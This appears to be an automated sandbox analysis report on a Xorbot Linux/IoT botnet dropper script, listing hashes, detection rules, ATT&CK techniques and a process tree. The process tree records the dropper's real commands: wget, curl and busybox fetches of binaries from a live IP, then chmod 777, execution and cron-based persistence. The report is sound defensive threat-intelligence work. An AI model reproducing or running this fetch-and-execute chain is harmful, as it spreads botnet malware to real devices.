xorbot | 57545f08d7ee15313ab9b7fb5b5326b9e7ad54dc283697e518acc1704e0a402d

Analysis

max time kernel
136s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/01/2025, 15:53

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General

Target

bins.sh
Size

10KB
MD5

b3fcb287f632cd257fa4b518cf1fb640
SHA1

8e270fe99fa3e1c4f94ae51107c6dc894db60f89
SHA256

57545f08d7ee15313ab9b7fb5b5326b9e7ad54dc283697e518acc1704e0a402d
SHA512

3bb66a53654a351e107ea8ba788bd7d0de56878cf763604ab2dd564085a084c946a9ce3b0c2f3124c577a99733fb7d3bd20d42c49b1af6f9c8e6c5f356a84994
SSDEEP

192:WvFvRvP44Jq6BDHXbPAe31enDnD+mBjDnD+mgXvFvRvP445XbPAe3Be:W9JFqsD7FeJ8X9JJ0

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2193) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1493	chmod
1500	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA	1494	1gHOS8UznhmqmtG89WWocg772ttVbMupKA
/tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3	1501	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

Renames itself 1 IoCs

pid	Process
1502	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.CCEWH8	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1677/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/22/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1258/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1541/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1559/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1563/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1601/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1639/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1667/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/11/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/36/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/172/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1057/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1062/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1673/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1187/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1613/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1226/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1589/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1599/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1678/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/85/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1060/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1150/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1555/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1614/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/32/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1156/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1623/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1518/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1543/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1557/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/633/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1076/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1099/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1108/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1164/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/709/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1144/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1553/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/5/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/12/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/83/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/625/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/701/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1642/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1648/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/624/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1470/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1542/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1669/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/31/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/82/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/400/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/468/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1053/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/20/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/26/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/501/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1312/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1531/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/1/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/431/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
File opened for reading	/proc/536/cmdline	2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3	busybox
File opened for modification	/tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA	wget
File opened for modification	/tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA	curl
File opened for modification	/tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA	busybox
File opened for modification	/tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3	wget
File opened for modification	/tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  - Writes file to tmp directory
  PID:1477
- /usr/bin/curl
  curl -O http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  - Writes file to tmp directory
  PID:1478
- /bin/busybox
  /bin/busybox wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  ./1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  - Executes dropped EXE
  PID:1494
- /bin/rm
  rm 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/busybox
  /bin/busybox wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod 777 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  ./2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1501
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1503
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1504
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1505
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1506
- /bin/rm
  rm 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://146.19.162.73/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
  2⤵
  PID:1518

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.CCEWH8

Filesize
210B

MD5
10ad77747ba7b03fd932d1476d2a55f3

SHA1
d8fc813c67194f8d3a8930b53afa3bc92415ae2f

SHA256
92c62fb371759d618c6fd175ffc3845f21cb6283e2393e252996d6664ad610ea

SHA512
ae9d1a4b4600ae361e3b3b368f0ec7527334113994c252af253ee1fd22f593af41e36b1edc06591f519fab39c97d98b32d361cfc89540d53f5fd22eb5564a3b2

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads